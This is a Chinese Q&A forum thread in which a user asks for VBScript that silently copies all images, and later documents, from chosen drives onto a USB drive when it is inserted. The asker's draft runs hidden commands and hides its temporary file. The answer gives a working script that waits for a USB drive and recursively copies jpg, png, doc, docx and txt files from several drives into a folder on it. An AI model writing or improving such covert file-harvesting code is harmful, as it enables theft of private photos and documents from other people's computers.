Question

请修改VBS代码让U盘插入后能自动复制电脑"指定盘符"的文件到U盘指定文件夹。谢谢

请修改VBS代码让U盘插入后能自动复制电脑"指定盘符"的文件到U盘指定文件夹。谢谢
U盘插入后能隐藏复制电脑指定盘符（要求盘符可在EFGH之间更改）的所有格式的图片（文件类型可修改）到U盘指定文件夹（文件夹123...）的VBS代码。
On Error Resume Next
Dim fso,ws,list,c,ds,op,file,usb,ext
Set fso=WScript.CreateObject("Scripting.FileSystemObject")
Set ws=WScript.CreateObject("Wscript.Shell")
list=fso.GetSpecialFolder(2)+"\"+WScript.ScriptName+"_FilesList.dat"
c=Chr(34)
usb=""
path="\123\"
exts="jpg"
es=Split(exts,".")
For Each ds In fso.Drives
If fso.GetDrive(ds).DriveType<>1 Then
ws.Run "cmd.exe /C DIR /S /B "+c+ds+c+"\*.*>>"+c+list+c,0,True
Else
usb=ds
End If
Next
fso.GetFile(list).Attributes=1+2+4
Set op=fso.OpenTextFile(list,1)
Do Until op.AtEndOfStream
file=op.ReadLine
For Each ext In es
If fso.GetExtensionName(file)=ext And usb<>"" Then
fso.CopyFile file,usb & path
End If
Next
Loop
op.Close
With fso.GetFile(list)
.Attributes=0
.Delete
End With
MsgBox "复制完毕!"
Set fso=Nothing
Set ws=Nothing
Set op=Nothing
WScript.Quit

Answer 1

代码如下:

Const STR_TARGET_DRIVES = "D:|E:|F:"
'目标驱动器（指定磁盘，多个磁盘请用"|"隔开,盘符后面不准带有"\"符号）
Const STR_EXTS = "jpg|png|jpeg|doc|docx|txt"
'文件类型(多个类型请用"|"隔开)
Const STR_COPYTO = "%USBDevicePath%\123\"
'复制到...(变量说明:%CurrentPath% - 脚本所在目录的路径;%USBDevicePath% - U盘路径)

On Error Resume Next
Dim FSO,WS,C,I,Drive,USBPath,ArrDrives,CopyTo,FoundUSB
'Dim variables.
C=Chr(34)
Set FSO=WScript.CreateObject("Scripting.FileSystemObject")
Set WS=WScript.CreateObject("WScript.Shell")
'Create objects.
MsgBox "程序已运行!请关闭此对话框并插入U盘!(不关闭此对话框插入U盘无效)",64,"Info"
Do
    FoundUSB = False
    For Each Drive In FSO.Drives
        If Drive.IsReady Then
            If Drive.DriveType = 1 Then
                USBPath = Drive.Path
                FoundUSB = True
            End If
        End If
    Next
    If FoundUSB Then Exit Do
    WScript.Sleep 3000
Loop
'等待U盘插入
WS.Run "mshta VBScript:CreateObject(""WScript.Shell"").Popup(""正在复制..."",3,""提示"")(Close)",0
CopyTo = LCase(STR_COPYTO)
CopyTo = Replace(CopyTo,"%currentpath%",WS.CurrentDirectory)
CopyTo = Replace(CopyTo,"%usbdevicepath%",USBPath)
If(Right(CopyTo,1)<>"\" And Right(CopyTo,1)<>"/") Then CopyTo = CopyTo & "\"
'fix path format.
ArrDrives = Split(STR_TARGET_DRIVES,"|")
For I=0 To UBound(ArrDrives)
    GetAllFilesAndFolders ArrDrives(I) & "\"
Next
'//
MsgBox "复制完成!!",64,"系统提示"
WS.Run C+CopyTo+C,1
'===================================================
Private Sub GetAllFilesAndFolders(Path)
    Dim File,Folder
    For Each File In FSO.GetFolder(Path).Files
        If CheckExt(FSO.GetExtensionName(File.Path)) Then
            FSO.CopyFile File.Path,CopyTo
        End If
    Next
    For Each Folder In FSO.GetFolder(Path).SubFolders
        GetAllFilesAndFolders Folder.Path
    Next
End Sub

Private Function CheckExt(ExtName)
    Dim A,ArrExts,OK
    OK = False
    ArrExts = Split(STR_EXTS,"|")
    For A=0 To UBound(ArrExts)
        If ExtName = ArrExts(A) Then
            OK = True
            Exit For
        End If
    Next
    CheckExt = OK
End Function

追问

复制出来的代码有很多小方块怎么解决

追答

😓你复制到记事本啊。。